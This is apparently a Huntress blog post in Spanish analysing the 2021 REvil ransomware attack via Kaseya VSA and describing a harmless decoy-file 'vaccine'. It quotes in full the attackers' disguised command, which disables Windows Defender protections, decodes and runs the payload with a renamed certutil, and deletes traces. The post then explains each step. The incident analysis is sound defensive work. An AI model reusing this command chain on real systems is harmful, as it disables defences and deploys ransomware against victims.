Vacuna VSA de Huntress: actuar como hackers para proteger a nuestros socios

El 2 de julio de 2021 fue uno de los ataques de ransomware más complejos y exitosos que se recuerdan. Como ya sabemos, REvil realizó un ataque sofisticado y cronometrado contra servidores Kaseya VSA para distribuir el ransomware Sodinokibi a los clientes y eliminar rastros de su presencia.

Durante todo esto, nuestro equipo tuvo un papel activo en investigar y analizar exactamente cómo se llevó a cabo este ataque, mientras intentábamos ayudar a las empresas afectadas. También hicimos lo posible por mantener a la comunidad al tanto de todos nuestros hallazgos e investigaciones a través de Reddit y nuestro blog.

En una de nuestras actualizaciones del 2 de julio, mencionamos:

“Para nuestros socios de Huntress que usan VSA, tomamos medidas proactivas para ayudar a proteger sus sistemas. Enviaremos un seguimiento con más detalles.” 

Decidimos ser intencionalmente vagos hasta que Kaseya lanzara el parche requerido. Ahora podemos compartir esas “medidas proactivas” que tomamos, explicar por qué las tomamos y mostrar exactamente a qué nos referimos cuando decimos que “nuestra ofensiva es tu defensa.”

Hallazgos iniciales del ataque

Alrededor de dos horas después de que comenzaran los incidentes de ransomware, nos alertaron sobre el payload que se usó, disfrazado como “Kaseya VSA Agent Hot-fix”:

C:\WINDOWS\system32\cmd.exe" /c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe

Nuestro equipo del SOC y el equipo de Ingeniería revisaron el payload y lograron extraer datos que, con el tiempo, nos ayudarían a encontrar una forma de “vacunar” a los socios de Huntress para que no fueran cifrados. Analizamos lo siguiente:

1. copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe

Hacer una copia de la utilidad legítima de Windows certutil.exe y colocarla en la carpeta C:\Windows\ con un nuevo nombre: cert.exe.

2. echo %RANDOM% >> C:\Windows\cert.exe

Agregar un valor “aleatorio” al final de cert.exe. Esto se logra con una función integrada de DOS donde la variable de entorno %RANDOM% produce un valor aleatorio al invocarla. Agregar esto al final de un ejecutable legítimo no impide que ese ejecutable se ejecute, pero cambia el hash, lo cual puede usarse en plataformas de detección automatizadas para detectar su uso.

3. C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe

Usando el certutil de Windows modificado pero legítimo, los atacantes decodificaron el payload malicioso, agent.exe, a partir del archivo agent.crt que se envió a los endpoints a través del servidor VSA.

4. del /q /f c:\kworking\agent.crt C:\Windows\cert.exe

Eliminar los archivos agent.crt y cert.exe.

5. c:\kworking\agent.exe

Ejecutar el payload de ransomware, agent.exe.

En estos ejemplos, se mostró c:\kworking como el directorio predeterminado, pero en realidad es una variable configurable conocida como #vAgentConfiguration.AgentTempDir# en una implementación dada de VSA. Si esto se cambia, el ataque se habría llevado a cabo en el directorio configurado.

¿Qué es certutil.exe?

Según Microsoft...

“Certutil.exe es un programa de línea de comandos que se instala como parte de Certificate Services. Puedes usar certutil.exe para volcar y mostrar información de configuración de la autoridad certificadora (CA), configurar Certificate Services, respaldar y restaurar componentes de la CA, y verificar certificados, pares de claves y cadenas de certificados.”

En esencia, si le das a certutil.exe un certificado para decodificar, eso es justo lo que hace. En este caso, cert.exe decodificaría en base64 agent.crt a agent.exe. REvil entendió esto y lo usó con fines maliciosos. Sin embargo, si existe un archivo con el mismo nombre que el nombre decodificado, entonces certutil no lo decodifica porque “está en el camino.”

Por lo tanto, para “vacunar” los servidores VSA contra la ejecución de un programa malicioso, todo lo que se necesitaba era agregar un archivo inofensivo con el mismo nombre que agent.exe.

Nuestra respuesta

La plataforma Huntress nos permite extraer archivos en caso de que necesitemos hacer una investigación adicional sobre actividad sospechosa, algo que hicimos mucho durante este ataque, pero también nos permite enviar archivos a los endpoints con el servicio de Huntress. Con ese conocimiento, nuestros ingenieros se pusieron a trabajar para crear un agent.exe falso y enviarlo al directorio C:\kworking\.

Sin embargo, esta vacuna tenía algunos problemas:

  • Si REvil se daba cuenta de la vacuna, podía simplemente cambiar el nombre del archivo o directorio, y se ejecutaría como estaba previsto.
  • El directorio kworking es configurable, así que si tenía un nombre distinto, la vacuna no funcionaría.
  • El agent.exe de Huntress podía confundirse con el agent.exe de REvil.

Tomando todo esto en cuenta, decidimos que lo mejor era simplemente distribuirla.

La decisión de distribuir la vacuna tan pronto la tuvimos lista no fue algo que tomamos a la ligera. Sin embargo, vimos lo que sentimos como una oportunidad de ayudar en medio de una crisis, y sabíamos que la vacuna no causaría ningún daño. Por eso, actuamos rápido y la distribuimos a nuestros socios.

La vacuna se distribuyó inicialmente antes de las 6:30 p. m. hora del Este esa noche a todos los agentes de Huntress que estuvieran reportándose. El agent.exe de Huntress es un archivo de texto que incluye instrucciones sobre cómo contactarnos.

Les informamos a Kaseya y a otros proveedores cuáles eran los hashes del archivo agent.exe de Huntress para que no lo bloquearan y no generara falsos positivos en ningún detector:

MD5: 10ec4c5b19b88a5e1b7bf1e3a9b43c12SHA1: a4636c16b43affa1957a9f1edbd725a0d9c42e3aSHA256: 5dca077e18f20fc7c8c08b9fd0be6154b4c16a7dcf45bdf69767fa1ce32f4f5d

Algunos socios mencionaron después que pensaron que habían sido hackeados porque vieron el archivo agent.exe, pero luego se dieron cuenta de que era la versión de Huntress. Nunca queremos darles a nuestros clientes una razón innecesaria para entrar en pánico, pero en esta situación de emergencia, preferimos que la gente se sorprendiera un poco con lo que resultó ser un archivo inofensivo, en lugar de que estuviera completamente cifrada. Aun así, nos pareció prudente crear otra versión del agent.exe como archivo de texto.

• • •

Esperamos que esta actualización ayude a los esfuerzos de los investigadores de ciberseguridad para que todos estemos más preparados para el próximo evento.

Si necesitas ayuda, incluso si no eres un socio actual de Huntress, por favor contacta a nuestro equipo de soporte en [email protected]. Estamos trabajando sin descanso para ayudar a quienes se han visto afectados por este ataque.

También te podría interesar